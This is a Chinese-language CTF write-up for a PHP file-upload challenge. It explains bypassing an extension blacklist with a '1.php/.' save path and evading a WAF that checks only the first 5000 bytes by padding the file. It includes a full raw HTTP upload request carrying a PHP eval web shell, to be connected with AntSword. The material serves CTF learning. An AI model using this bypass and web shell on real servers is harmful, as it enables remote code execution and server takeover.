奶龙牌WAF

拿到附件 不准上传后缀为ph和hta的文件 并且对文件大小有限制

代码关键处:

image-20250411171529202

move_uploaded_file 函数

定义和用法:

1
2
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。

语法:

1
2
3
move_uploaded_file(file,newloc)
file:必需。规定要移动的文件。
newloc:必需。规定文件的新位置。

提示

1
2
注释:该函数仅用于通过 HTTP POST 上传的文件。
注释:如果目标文件已经存在,将会被覆盖。

题目做法:

1
当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

image-20250411172003589

这段代码代表只对前5000字节进行校验,意思是5000之后我们就可以传入危险内容(木马)。

使用print('a'*2000000+'<?php eval($_POST[1]);?>')

上传文件即可

数据包构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /?name=1.php/. HTTP/1.1
Host: gz.imxbt.cn:20801
Content-Length: 1048752
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Origin: http://gz.imxbt.cn:20801
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycXLzLLazg0AJNoVA
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://gz.imxbt.cn:20801/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=8177754fd454ad57569dea76792994c9; name="!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"; GZCTF_Token=CfDJ8MKySZ_mlO1BrUTiopFb3pr4sMLMFDp7VLwqIHHQ787J8MU9o7kzKDQgSGH3aUSAFreJelz-xjNcVon1NvCY9iAKz8ktIq-qB4r2jQSniDqdjks-AlNc7Rkw9ROQ3vAa9e0N-iumHmUWe1UcvM30oD4C_p5X2rfkyF4zaLlPcJte51OO6suesKAsKpiTzQ1RvmbX-oqD9hVQaRz0jBi9xFJ7fpCIh2-_Y8UzrQ8TgMQRwpHxaUjX6TUPWl2iaCoFCXNG5RSUU5JVX6JeXurix40S_LdkKSdgdmEXKkw1XNLb5v1YDumTpaGciQGUIVoxHZRwlEtgQ5eR3pq8O1_vm4yODQYq4Y0RPvc2MoJVYLZgX1u-EsroGJdBXAMr09bPEkPJYYerhs1QlP5t2Y8A076GE8Cv82ugOHeNStUNFBf_XQwunbSKJt0FaUtv0SdEu-EKn79ZcAd4m_Ui2-DypcJ6NW7yQrVoC31ElAZuLxFCuVZP4Jw_hZxvAhETL4Pm3Jbx0XR1Dv_Eyjirco1Gtowu44qH972w0qN2sbR2iTwatubxFs39PNNj6dBeZj3MsqihIS5JgY4aY2yAiSLgV586D0zNxFepVQR6_qSzYVX61OIiXKjnRACYg6F6neFGC7YwlYz260chM2RECVTWEqQOdR02WQ6HRcoMqFiFMMXchvAX7rW8t3RJ7T6dF_eel5le5oHsYhoxevoMfddEVM8
Connection: close

------WebKitFormBoundarycXLzLLazg0AJNoVA
Content-Disposition: form-data; name="upload_file"; filename="1.php/."
Content-Type: image/jpeg

"2000000个a"+<?php eval($_POST[1]);?>


------WebKitFormBoundarycXLzLLazg0AJNoVA--

上传连接蚁剑

image-20250411175902900